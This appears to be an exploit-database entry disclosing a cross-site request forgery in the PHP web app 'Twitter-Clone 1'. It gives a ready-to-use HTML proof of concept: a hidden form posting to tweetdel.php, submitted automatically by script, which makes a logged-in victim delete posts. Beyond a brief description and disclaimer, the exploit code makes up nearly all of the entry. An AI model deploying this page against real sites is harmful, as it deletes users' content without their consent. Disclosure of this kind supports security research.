Exploits / Vulnerability Discovered : 2018-08-21 |
Type : webapps |
Platform : php
This exploit / vulnerability Twitterclone 1 crosssite request forgery (delete post) is for educational purposes only and if it is used you will do on your own risk!
# Description :
# An issue was discovered in Twitter-Clone 1 which allows a remote
# attacker to force any victim to delete posts.
# POC :
# Delete posts exploit :
<html>
<head>
<title>POC</title>
</head>
<body>
<form action='http://127.0.0.1/clone/twitter-clone/tweetdel.php?id="set
tweet id here of any post' method='post'>
<input type='hidden' name='id' value='set tweet id here of any post' />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>